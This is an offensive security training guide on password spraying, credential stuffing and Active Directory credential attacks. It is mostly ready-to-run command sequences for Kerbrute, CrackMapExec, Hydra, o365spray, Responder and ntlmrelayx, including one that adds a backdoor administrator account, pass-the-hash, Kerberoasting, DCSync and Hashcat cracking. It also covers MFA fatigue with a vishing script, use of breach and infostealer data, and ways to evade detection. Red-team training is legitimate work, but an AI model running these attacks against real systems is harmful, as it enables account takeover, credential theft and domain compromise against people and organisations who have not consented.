



◆ OFFENSIVE SECURITY SERIES ◆

PASSWORD SPRAYING & CREDENTIAL STUFFING

Low-and-Slow Auth Attacks & Account Takeover

Kerbrute · CrackMapExec · Hydra · o365spray · Hashcat · NTLM · Kerberos

Kerbrute

CrackMapExec

o365spray

Trevorspray

Hydra

Hashcat

Impacket

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All authentication attacks must ONLY be performed on systems you own or have explicit written authorisation to test. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

Password Spraying & Credential Stuffing — Low-and-Slow Auth Attacks

01.	FUNDAMENTALS — SPRAY VS STUFF VS BRUTE FORCE
02.	USERNAME ENUMERATION — BUILDING THE TARGET LIST
03.	PASSWORD WORDLIST STRATEGY — SMARTER LISTS
04.	KERBRUTE — KERBEROS PRE-AUTH SPRAYING (ACTIVE DIRECTORY)
05.	CRACKMAPEXEC — SMB, LDAP & WINRM SPRAYING
06.	HYDRA & MEDUSA — PROTOCOL-AGNOSTIC SPRAYING
07.	O365SPRAY & TREVORSPRAY — CLOUD AUTH ATTACKS
08.	NTLM RELAY & PASS-THE-HASH — BEYOND PLAINTEXT
09.	KERBEROASTING & AS-REP ROASTING
10.	HASHCAT — OFFLINE CRACKING METHODOLOGY
11.	LOCKOUT POLICY DETECTION & SAFE SPRAY TIMING
12.	MFA BYPASS — FATIGUE, LEGACY AUTH & CONSENT
13.	CREDENTIAL STUFFING — BREACH DATA TO ACCESS
14.	POST-SPRAY — VALIDATING & LEVERAGING CREDENTIALS
15.	FULL CHEAT SHEET — PASSWORD ATTACK REFERENCE



01 — FUNDAMENTALS

Spray vs Stuff vs Brute Force — Knowing When to Use Each

Authentication attacks are a staple of red team operations. Understanding the distinction between password spraying, credential stuffing, and brute forcing is critical — choosing the wrong technique triggers lockouts, alerts defenders, and ends the engagement prematurely. Every authentication attack must be executed with knowledge of the target's lockout policy, monitoring capability, and authentication surface.

Attack Type	How It Works	Lockout Risk	Best For
Password Spray	One password → many users. Stays below lockout threshold	Low (if timed right)	AD, O365, VPN, OWA
Credential Stuffing	Known breach combos (email:pass) → target login	Very Low	Web apps, SSO portals
Brute Force	All passwords → one user. Fast and noisy	Very High	Offline hashes only
Dictionary Attack	Wordlist → one user. Semi-targeted	High	Offline hashes
Reverse Brute Force	One password → many users (same as spray)	Low	Initial AD access
Password Guessing	Manually crafted guesses based on OSINT	None	VIP/exec targeting

THE GOLDEN RULE OF SPRAYING

ALWAYS determine the account lockout threshold BEFORE spraying.

If lockout = 5 attempts: spray max 3 passwords, then wait the observation window.

Default AD policy: 5 attempts / 30 min window — spray 1 password per 31 minutes.

Never spray more than (threshold - 2) attempts without resetting the counter.

A locked account is an immediate indicator of compromise (IoC) — avoid at all cost.



02 — USERNAME ENUMERATION

Building a Valid Username List Before Spraying

Spraying against a list of invalid usernames wastes time and increases noise. The first step is always to build a verified list of valid usernames using OSINT and active enumeration techniques. Username enumeration is possible on many services including OWA, O365, Kerberos pre-authentication, SMTP VRFY, and certain web application login error messages.

\$ Username Enumeration Techniques

```
# Kerberos pre-auth enumeration – AS-REQ timing difference
# Valid user = KDC returns KRB5KDC_ERR_PREAUTH_REQUIRED
# Invalid user = KDC returns KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN
kerbrute userenum --dc 10.10.10.1 -d target.local usernames.txt

# O365 / Azure AD username enumeration (no lockout triggered)
# Uses /common/GetCredentialType endpoint – no auth required
o365spray --enum -U usernames.txt --domain target.com

# OWA autodiscover username enumeration
python3 MailSniper.ps1 # PowerShell: Invoke-UsernameHarvestOWA

# Generate username list from employee names (OSINT → spray)
# linkedin2username / crosslinked output → pipe through namemash
cat names.txt | python3 namemash.py > username_permutations.txt

# Common AD username formats to generate:
# jdoe, john.doe, johnd, doej, john_doe, jd, johndoe
python3 -c "
names=[('john','doe'),('jane','smith'),('bob','jones')]
fmts=['{f[0]}{l}','{f}.{l}','{f}{l[0]}','{f}_{l}','{f}']
for f,l in names:
    [print(fmt.format(f=f,l=l)) for fmt in fmts]
"

# SMTP VRFY – if server supports it
smtp-user-enum -M VRFY -U userlist.txt -t mail.target.com -p 25
```

Source	Method	Output
LinkedIn + linkedin2username	Scrape employee names → generate AD usernames	username_list.txt
theHarvester	Email harvest → extract username portion	john.doe → jdoe
Hunter.io	Identifies email format + real addresses	Verified format
Kerbrute userenum	AS-REQ timing — no lockout	Confirmed valid AD users
o365spray --enum	Azure AD /GetCredentialType — silent	Valid O365 usernames



Source	Method	Output
SMTP VRFY	SMTP protocol enumeration	Valid email addresses



03 — PASSWORD WORDLIST STRATEGY

Season-Aware Lists, Company-Specific Mutations & Smart Spraying

The most effective spray passwords are not from generic wordlists — they are crafted from intelligence about the target organisation. Employees overwhelmingly choose passwords that follow corporate policy minimums, include the company name, current season/year, or a predictable structure. Smart wordlist generation dramatically increases hit rates while keeping attempt counts low.

High-Probability Password Patterns

Pattern	Example	Why It Works
Season + Year	Winter2024!, Summer2024!	Password rotation forces seasonal changes
Company + Year	Target2024!, TargetCorp1	Common when org name is required
Company + Symbol	Target@123, Target#2024	Meets complexity requirements
Month + Year	January2024!, March2024	Users change with the month
Welcome pattern	Welcome1!, Welcome@1	Default password for new accounts
Password + Year	Password2024!, P@ssw0rd	Most commonly reused base
Keyboard walk	Qwerty123!, 1qaz@WSX	Visually easy on keyboard

\$ Password List Generation

```
# Generate season-aware spray list
python3 -c "
company='Target'; year=2024
seasons=['Winter','Spring','Summer','Autumn','Fall']
months=['January','February','March','April','May','June',
        'July','August','September','October','November','December']
specials=['!','@','#','1','123']
for s in seasons+months:
    for sp in specials: print(f'{s}{year}{sp}')
for sp in specials: print(f'{company}{year}{sp}')
print('Welcome1!'); print('Password1!'); print('P@ssword1')
" > spray_list.txt

# CeWL — generate wordlist from target website
cewl https://www.target.com -d 2 -m 8 -w cewl_words.txt

# Combine with rules for password mutations

# CUPP — custom user-targeted password profiling
pip install cupp
python3 cupp.py -i # Interactive mode — enter target details
# Input: name, DOB, partner, pet, company → tailored list

# Mentalist — GUI-based password list generator
# https://github.com/sc0tfree/mentalist

# Hashcat rule-based mutation on base words
echo 'Password' | hashcat --stdout -r /usr/share/hashcat/rules/best64.rule
echo 'Target' | hashcat --stdout -r /usr/share/hashcat/rules/d3ad0ne.rule
```



04 — KERBRUTE — KERBEROS SPRAYING

Active Directory Password Spraying via Kerberos Pre-Authentication

Kerbrute is the preferred tool for password spraying against Active Directory. By abusing Kerberos pre-authentication, Kerbrute avoids NTLM authentication and the associated Windows Security event logs (4625 — failed NTLM logon). Kerberos failures generate event 4771, which is less commonly alerted on in many organisations, making Kerbrute significantly stealthier than SMB spraying.

\$ Kerbrute — Password Spraying

```
# Install Kerbrute
go install github.com/ropnop/kerbrute@latest
# or: wget https://github.com/ropnop/kerbrute/releases/latest/...

# Username enumeration — NO lockout risk
kerbrute userenum --dc 10.10.10.1 -d target.local \
  usernames.txt -o valid_users.txt

# Password spray — ONE password against all valid users
kerbrute passwordspray --dc 10.10.10.1 -d target.local \
  valid_users.txt 'Winter2024!'

# Multiple passwords — time carefully
for pass in 'Winter2024!' 'Target2024!' 'Welcome1!'; do
  kerbrute passwordspray --dc 10.10.10.1 -d target.local \
    valid_users.txt "$pass" >> kerbrute_results.txt
  echo '[*] Sleeping 35 minutes...'
  sleep 2100 # Wait > observation window between each password
done

# Verbose output — see each attempt
kerbrute passwordspray -v --dc 10.10.10.1 -d target.local \
  valid_users.txt 'Summer2024!'

[+] VALID LOGIN: jdoe@target.local:Winter2024!
[+] VALID LOGIN: asmith@target.local:Winter2024!
[*] Done! Tested 247 logins (2 successes) in 14.300 seconds
```

KERBRUTE EVENT LOG COMPARISON

NTLM Failed Logon → Event 4625 — commonly alerted by SIEM rules

Kerberos Pre-Auth → Event 4771 — less commonly monitored

Kerberos Success → Event 4768 — TGT granted (normal traffic)

Best practice: spray during business hours to blend with normal auth noise

Avoid spraying from unusual source IPs — use internal foothold if possible



05 — CRACKMAPEXEC — SMB, LDAP & WINRM

Network-Wide Authentication Testing & Post-Spray Lateral Movement

CrackMapExec (CME) is the Swiss Army knife of network authentication testing. It supports SMB, LDAP, WinRM, MSSQL, RDP, SSH, and more — allowing red teamers to validate credentials, enumerate shares, execute commands, and dump hashes across an entire subnet from a single interface. After a successful spray, CME is used to determine the blast radius of compromised credentials.

\$ CrackMapExec Usage

```
# Install CME (now NetExec — nxc is the maintained fork)
pip install crackmapexec
# or: pip install netexec (nxc command)

# SMB password spray — single password, all hosts
crackmapexec smb 10.10.10.0/24 -u valid_users.txt -p 'Winter2024!' \
  --continue-on-success

# SMB spray with multiple passwords (careful with lockout!)
crackmapexec smb 10.10.10.0/24 -u valid_users.txt \
  -p spray_list.txt --no-bruteforce --continue-on-success

# Validate single credential
crackmapexec smb 10.10.10.1 -u jdoe -p 'Winter2024!'
[*] 10.10.10.1 SMB Windows 10 [*] jdoe (Pwn3d!)

# Check credential across entire subnet
crackmapexec smb 10.10.10.0/24 -u jdoe -p 'Winter2024!'

# Enumerate shares on all hosts
crackmapexec smb 10.10.10.0/24 -u jdoe -p 'Winter2024!' --shares

# Execute command on accessible hosts
crackmapexec smb 10.10.10.1 -u jdoe -p 'Winter2024!' -x 'whoami'

# Pass-the-Hash with NTLM hash (no plaintext needed)
crackmapexec smb 10.10.10.0/24 -u jdoe -H aad3b435b51404eeaad3b435b51404ee:NTHASH

# WinRM — check if user can PSRemote
crackmapexec winrm 10.10.10.1 -u jdoe -p 'Winter2024!'

# LDAP — dump users, groups, password policy
crackmapexec ldap 10.10.10.1 -u jdoe -p 'Winter2024!' --users --groups
crackmapexec ldap 10.10.10.1 -u jdoe -p 'Winter2024!' --password-not-required
```

CME Module	Command	Output
SAM dump	--sam	Local account hashes from SAM database
LSA dump	--lsa	LSA secrets — service account creds
NTDS dump	--ntds	All domain hashes (DC only)
Mimikatz	-M mimikatz	In-memory credential dump
Lsassy	--lsassy	LSASS dump without Mimikatz binary
Spider shares	--spider C\$	Recursively search shares for files



06 — HYDRA & MEDUSA

Protocol-Agnostic Spraying — SSH, FTP, RDP, HTTP & More

Hydra and Medusa are the workhorses for spraying non-Windows authentication services. SSH, FTP, RDP, HTTP Basic/Form, SMTP, POP3, VNC, and dozens of other protocols are supported. These tools are essential when the target exposes public-facing services with login portals not covered by CME or Kerbrute.

\$ Hydra & Medusa — Spraying Commands

```
# Hydra — SSH spray
hydra -L valid_users.txt -P spray_list.txt ssh://10.10.10.1 \
  -t 4 -W 3 -o hydra_ssh.txt

# Hydra — RDP spray
hydra -L valid_users.txt -P spray_list.txt rdp://10.10.10.1 \
  -t 1 -W 5

# Hydra — FTP spray
hydra -L users.txt -P spray.txt ftp://10.10.10.1

# Hydra — HTTP POST form (web login page)
hydra -L users.txt -P spray.txt 10.10.10.1 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

# Hydra — HTTP Basic Auth
hydra -L users.txt -P spray.txt 10.10.10.1 http-get /admin/

# Hydra — SMTP spray
hydra -L users.txt -P spray.txt smtp://mail.target.com:587

# Medusa — parallel spray, faster than Hydra for many protocols
medusa -H hosts.txt -U users.txt -P spray.txt -M ssh -t 4 -n 22
medusa -h 10.10.10.1 -U users.txt -P spray.txt -M ftp
medusa -h 10.10.10.1 -U users.txt -P spray.txt -M http \
  -m DIR:/admin -m FORM:username=^USER^&password=^PASS^

# Throttle to avoid lockout — add delays
hydra -L users.txt -p 'Winter2024!' -t 1 -w 30 ssh://10.10.10.1
# -t 1: one thread, -w 30: 30 second wait between attempts
```



07 — O365SPRAY & TREVORSPRAY

Cloud Identity Spraying — Microsoft 365, Azure AD & AWS

Spraying Microsoft 365 and Azure Active Directory requires specialised tools that understand Microsoft's authentication endpoints, lockout policies, and response codes. Unlike traditional AD, O365 tenants often have different lockout settings, and some authentication endpoints (like the ADFS endpoint or legacy ActiveSync) do not enforce the same controls as the primary login portal.

\$ o365spray & TrevorSpray

```
# o365spray – Swiss Army knife for O365 enum + spray
pip install o365spray

# Step 1: Validate domain is on O365
o365spray --validate --domain target.com

# Step 2: Enumerate valid users
o365spray --enum -U usernames.txt --domain target.com

# Step 3: Password spray
o365spray --spray -U valid_users.txt -P spray_list.txt \
  --domain target.com --count 1 --lockout 5
# --count 1: one password per spray round
# --lockout 5: wait 5 minutes between rounds

# TrevorSpray – distributed spray via SSH proxies
pip install trevorspray

# Spray via multiple source IPs (avoids IP-based lockout)
trevorspray -u valid_users.txt -p spray_list.txt \
  --ssh user@proxy1.com user@proxy2.com \
  --delay 30 --url https://login.microsoft.com

# Target legacy auth endpoints (often less protected)
# ActiveSync: https://outlook.office365.com/Microsoft-Server-ActiveSync
# ADFS: https://sts.target.com/adfs/ls/IdpInitiatedSignOn.aspx
# OWA: https://outlook.office365.com/owa/

[+] VALID: jdoe@target.com : Winter2024!
[+] VALID: asmith@target.com : Target2024!
```

Endpoint	URL	Notes
Primary O365 Login	login.microsoftonline.com	Smart lockout — IP reputation aware
Legacy ActiveSync	outlook.office365.com/Microsoft-Server-ActiveSync	Often bypasses smart lockout



Endpoint	URL	Notes
ADFS (Federated)	sts.target.com/adfs/ls/	Org-controlled logout policy
OWA Endpoint	outlook.office365.com/owa/	Legacy basic auth if enabled
Graph API	graph.microsoft.com	API-level auth — useful post-access



08 — NTLM RELAY & PASS-THE-HASH

Hash Capture, Relay Attacks & Lateral Movement Without Plaintext

Pass-the-Hash (PtH) and NTLM relay attacks allow attackers to authenticate as a user using only their NTLM password hash — no plaintext password required. NTLM relay captures authentication challenges from one service and replays them to authenticate to another, enabling lateral movement and privilege escalation across the network without cracking a single password.

\$ NTLM Relay & Pass-The-Hash

```
# Responder – capture NTLM hashes from broadcast protocols
sudo responder -I eth0 -rdwv

# Captures hashes from: LLMNR, NBT-NS, WPAD, mDNS poisoning
# Hashes saved to: /usr/share/responder/logs/

# ntlmrelayx – relay captured auth to target service
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support
sudo python3 ntlmrelayx.py -t smb://10.10.10.1 -smb2support \
  -c 'net user hacker P@ss123! /add && net localgroup administrators hacker /add'

# Pass-the-Hash with Impacket
python3 impacket/psexec.py target.local/jdoe@10.10.10.1 \
  -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH

python3 impacket/wmiexec.py target.local/jdoe@10.10.10.1 \
  -hashes :NTHASH

# Pass-the-Hash with Evil-WinRM
evil-winrm -i 10.10.10.1 -u jdoe -H NTHASH

# CrackMapExec PtH
crackmapexec smb 10.10.10.0/24 -u jdoe -H NTHASH --continue-on-success

# Dump hashes – requires admin on target
crackmapexec smb 10.10.10.1 -u admin -p 'P@ss!' --sam # Local hashes
crackmapexec smb DC01 -u admin -p 'P@ss!' --ntds # All domain hashes
python3 secretsdump.py target.local/admin:'P@ss!'@10.10.10.1
```



09 — KERBEROASTING & AS-REP ROASTING

Offline Hash Attacks Against Kerberos Service Tickets

Kerberoasting requests service tickets (TGS) for accounts with SPNs (Service Principal Names) and extracts the encrypted ticket for offline cracking. Since the ticket is encrypted with the service account's password hash, cracking it yields the plaintext password. AS-REP Roasting targets accounts that have 'Do not require Kerberos preauthentication' set — no credentials needed.

\$ Kerberoasting & AS-REP Roasting

```
# Kerberoasting — request TGS for all SPNs (requires any valid AD user)
python3 GetUserSPNs.py target.local/jdoe:'Winter2024!' -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt
```

```
# Kerberoasting with Rubeus (from Windows foothold)
Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
```

```
# AS-REP Roasting — no password required for targets without preauth
python3 GetNPUsers.py target.local/ -dc-ip 10.10.10.1 \
  -no-pass -usersfile valid_users.txt -format hashcat \
  -outputfile asrep_hashes.txt
```

```
# AS-REP Roasting with Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
```

```
# Crack Kerberoast hashes with Hashcat
hashcat -m 13100 kerberoast_hashes.txt wordlist.txt -r best64.rule
```

```
# Crack AS-REP hashes with Hashcat
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r best64.rule
```

```
[*] Found 3 accounts with SPNs
[*] MSSQLSvc/db01.target.local → svc_sql (hash extracted)
[*] HTTP/web01.target.local → svc_web (hash extracted)
[+] Cracked: svc_sql : ServicePass2024!
```



10 — HASHCAT — OFFLINE CRACKING

GPU-Accelerated Hash Cracking, Rules & Mask Attacks

Hashcat is the world's fastest GPU-based password cracker. After capturing NTLM hashes, Kerberoast tickets, or NTLMv2 challenge-responses, hashcat cracks them offline at billions of attempts per second using dictionary attacks, rule-based mutations, and mask attacks (brute force with patterns).

Hash Type	Hashcat Mode (-m)	Example
NTLM (Windows)	1000	31d6cfe0d16ae931b73c59d7e0c089c0
NTLMv2 (NetNTLMv2)	5600	captured via Responder relay
Kerberoast (TGS-REP)	13100	\$krb5tgs\$23\$*
AS-REP Roast	18200	\$krb5asrep\$23\$*
MD5	0	5f4dcc3b5aa765d61d8327deb882cf99
SHA-1	100	da39a3ee5e6b4b0d3255bfef95601890afd80709
bcrypt	3200	\$2a\$12\$*
SHA-256	1400	e3b0c44298fc1c149afbf4c8996fb924*

\$ Hashcat Cracking Commands

```
# Dictionary attack
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Dictionary + rules (dramatically expands coverage)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r d3ad0ne.rule -r best64.rule

# Mask attack — ?u=uppercase ?l=lowercase ?d=digit ?s=special
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?!' # e.g. Passw0rd!
hashcat -m 1000 hashes.txt -a 3 'Winter?d?d?d?!' # e.g. Winter2024!

# Hybrid attack — wordlist + mask
hashcat -m 1000 hashes.txt -a 6 wordlist.txt '?d?d?d?d!'
# Appends 4-digit year + ! to each word in list

# Custom charset — define your own charset
hashcat -m 1000 hashes.txt -a 3 -1 '!@#$_' 'Company?d?d?d?1'

# Show cracked hashes
hashcat -m 1000 hashes.txt --show

# GPU benchmark (check your speed)
hashcat -b -m 1000

# RTX 4090: ~170 GH/s NTLM — 170 billion hashes/second
```



11 — LOCKOUT POLICY DETECTION & TIMING

Safe Spray Windows, Observation Periods & Policy Enumeration

The single most important pre-spray activity is determining the exact account lockout policy. Spraying blindly will lock out accounts, alert defenders, and end the engagement. Multiple methods exist to enumerate the policy before a single spray attempt is made.

\$ Lockout Policy Enumeration

```
# Enumerate AD password policy (requires valid user)
crackmapexec ldap 10.10.10.1 -u jdoe -p 'Winter2024!' --pass-pol

[+] Dumping password policy from domain: TARGET
[+] Password Complexity Flags: Password Complex On
[+] Minimum password length: 8
[+] Password history length: 24
[+] Maximum password age: 90 days
[+] Lockout threshold: 5 attempts
[+] Lockout duration: 30 minutes
[+] Lockout Observation Window: 30 minutes

# Safe spray calculation:
# threshold=5 → spray max 3 passwords → wait 31 minutes → repeat

# Net command (from Windows foothold)
net accounts /domain

# Impacket – anonymous LDAP policy read
python3 ldapdomaindump.py 10.10.10.1 -u 'target\jdoe' -p 'Winter2024!'

# Fine-Grained Password Policies (FGPPs) – check per-group policies
# High-priv accounts may have stricter FGPP than default domain policy
# Use: Get-ADFineGrainedPasswordPolicy -Filter * (PowerShell with AD module)

# 0365 Smart Lockout defaults (if not customised):
# Lockout threshold: 10 attempts (but varies by account risk score)
# Lockout window: 1 minute initially, increases with repeated lockouts
# Safe 0365 spray: 1 attempt per 60 seconds per user
```

SPRAY TIMING CALCULATOR

Policy: 5 attempts / 30 min window → spray 3 passwords, sleep 31 min

Policy: 10 attempts / 10 min window → spray 7 passwords, sleep 11 min

Policy: 3 attempts / 5 min window → spray 1 password, sleep 6 min

O365 Smart Lockout → 1 password every 60 seconds is safe

No lockout policy detected → proceed with caution at low thread count



12 — MFA BYPASS TECHNIQUES

Fatigue Attacks, Legacy Auth & OAuth Abuse

MFA does not make credential attacks irrelevant — it changes the attack vector. Red teamers use MFA fatigue attacks, legacy authentication protocol abuse, and OAuth flow manipulation to bypass MFA controls even when credentials alone are insufficient for access. This section covers every major MFA bypass technique used in real adversarial operations.

Bypass Technique	How It Works	Effectiveness
MFA Fatigue	Flood push notifications → user accepts out of frustration	High
Legacy Auth	Basic auth on ActiveSync/IMAP bypasses MFA entirely	Very High (if enabled)
AiTM Proxy	Evilginx intercepts session cookie post-MFA	Very High
SIM Swapping	Port victim's phone number to attacker SIM	High (targeted)
SS7 Attack	Intercept SMS OTP via telecom protocol weakness	High (nation-state)
OAuth Device Code	Victim authenticates on real site, attacker gets token	High
OAuth Consent Phish	Victim grants malicious app permissions	High

\$ MFA Fatigue & Legacy Auth Attacks

```
# MFA Fatigue – send repeated push notifications
# After successful spray: authenticate repeatedly to trigger pushes
# Combine with vishing: 'This is IT, please accept the MFA push I sent'

# Check if legacy auth is enabled on 0365
o365spray --spray -U valid_users.txt -P spray_list.txt \
  --domain target.com --endpoint activesync
# ActiveSync does NOT require MFA even if MFA is enforced!

# Test IMAP/POP3 with valid credentials (no MFA)
curl -k --user 'jdoe@target.com:Winter2024!' \
  imaps://outlook.office365.com/INBOX

# Check which auth protocols are enabled (requires admin)
# In Azure AD: Azure AD → Security → Conditional Access → Named Locations
# Check 'Require MFA' excludes legacy auth clients

# Device code phishing (already covered in Guide 3)
# Combine with valid credentials for higher conversion rate

# Token theft post-credential spray
# After gaining access via spray: dump tokens from browser/app
# Use ROADtools or AADInternals for Azure AD token extraction
python3 roadrecon auth -u jdoe@target.com -p 'Winter2024!'
python3 roadrecon gather
```



13 — CREDENTIAL STUFFING

Breach Data to Access — Automating Account Takeover at Scale

Credential stuffing takes email:password combos from data breaches and tests them against target login portals. Password reuse rates are estimated at 60-85% across users, meaning a single breach database can unlock accounts at an entirely different organisation. The key challenge is bypassing bot detection, rate limiting, and CAPTCHAs at scale.

\$ Credential Stuffing Workflow

```
# Step 1: Obtain breach data for target domain
# Sources: dehashed.com, leakcheck.io, intelx.io, snusbase.com
# Filter for @target.com email addresses
grep '@target.com' breach_dump.txt > target_creds.txt

# Step 2: Format as user:pass pairs
# Most tools expect: username:password or email:password
cat target_creds.txt | awk -F: '{print $1":"$2}' > stuffing_list.txt

# Step 3: Test against web application login
hydra -C stuffing_list.txt 10.10.10.1 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Invalid'

# Step 4: Test against 0365 (check if same password reused)
o365spray --spray -C stuffing_list.txt --domain target.com

# Step 5: Test against VPN portal, OWA, SSH
crackmapexec smb 10.10.10.0/24 -u stuffing_list.txt --no-bruteforce

# Infostealer logs – highest quality credential source
# Hudson Rock Cavalier: live session data from infostealers
# Contains: username, plaintext password, browser session cookies
# If password from stealer = current → direct account takeover

# Password pattern analysis from breach data
# Extract passwords for target domain → identify patterns
awk -F: '{print $2}' target_creds.txt | sort | uniq -c | sort -rn | head -20
# Use top patterns to build spray wordlist for new accounts
```

CREDENTIAL STUFFING SOURCES

Dehashed.com — Paid, comprehensive, searchable by domain/email/password

LeakCheck.io — Good coverage, domain search available

BreachDirectory — Free email/username search with partial password

IntelX.io — Broad coverage including paste sites and dark web

Hudson Rock — Infostealer logs — plaintext creds + active sessions

HIBP Domain — Free domain-level breach notification (no passwords)



14 — POST-SPRAY — VALIDATING & LEVERAGING CREDENTIALS

From Valid Credentials to Domain Compromise

Cracked or sprayed credentials are only the beginning. The post-spray phase determines the access level achieved, enumerates what the compromised account can reach, and pivots toward higher privilege. A single low-privilege user credential can escalate to Domain Admin through misconfigured delegation, Kerberoasting, or ACL abuse.

\$ Post-Spray Enumeration & Escalation

```
# Step 1: Validate credentials across the network
crackmapexec smb 10.10.10.0/24 -u jdoe -p 'Winter2024!' --continue-on-success

# Step 2: Check group memberships
crackmapexec ldap 10.10.10.1 -u jdoe -p 'Winter2024!' --groups
net user jdoe /domain # From Windows host

# Step 3: Enumerate accessible shares
crackmapexec smb 10.10.10.0/24 -u jdoe -p 'Winter2024!' --shares
smbclient -L //10.10.10.1 -U 'target\jdoe%Winter2024!'

# Step 4: BloodHound — map attack paths to Domain Admin
python3 bloodhound-python -u jdoe -p 'Winter2024!' -d target.local \
    -ns 10.10.10.1 --zip -c All
# Import zip into BloodHound GUI
# Run: 'Shortest Paths to Domain Admin from Owned Principals'

# Step 5: Kerberoast from compromised account
python3 GetUserSPNs.py target.local/jdoe:'Winter2024!' -dc-ip 10.10.10.1 -request

# Step 6: Check for unconstrained delegation targets
crackmapexec ldap 10.10.10.1 -u jdoe -p 'Winter2024!' --trusted-for-delegation

# Step 7: DCSync if domain admin reached
python3 secretsdump.py target.local/admin:'P@ss!'@DC01 -just-dc-ntlm
```



15 — FULL PASSWORD ATTACK CHEAT SHEET

Every Command — From Recon to Domain Compromise

Username enum (AD)	kerbrute userenum --dc 10.10.10.1 -d target.local users.txt
Username enum (O365)	o365spray --enum -U usernames.txt --domain target.com
Name to username list	cat names.txt python3 namemash.py > usernames.txt
Email format detect	hunter.io domain search + crosslinked output
Password list gen	python3 cupp.py -i OR cewl https://target.com -d 2
Lockout policy	crackmapexec ldap DC01 -u user -p pass --pass-pol
Kerbrute spray	kerbrute passwordspray --dc DC01 -d target.local users.txt 'Pass!'
CME SMB spray	crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Pass!' --continue-on-success
CME PTH	crackmapexec smb subnet -u admin -H NTHASH --continue-on-success
Hydra SSH spray	hydra -L users.txt -P spray.txt ssh://10.10.10.1 -t 4 -W 3
O365 spray	o365spray --spray -U users.txt -P spray.txt --domain target.com
TrevorSpray dist.	trevorspray -u users.txt -p spray.txt --ssh proxy1 proxy2
Responder	sudo responder -I eth0 -rdwv
NTLM relay	python3 ntlmrelayx.py -tf targets.txt -smb2support
PTH Impacket	python3 psexec.py domain/user@IP -hashes :NTHASH
Kerberoast	python3 GetUserSPNs.py domain/user:pass -dc-ip DC01 -request
AS-REP Roast	python3 GetNPUsers.py domain/ -usersfile users.txt -no-pass
Hashcat NTLM	hashcat -m 1000 hashes.txt rockyou.txt -r best64.rule
Hashcat Kerberoast	hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule
BloodHound collect	bloodhound-python -u user -p pass -d domain.local -c All --zip
DCSync	python3 secretsdump.py domain/admin:pass@DC01 -just-dc-ntlm



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.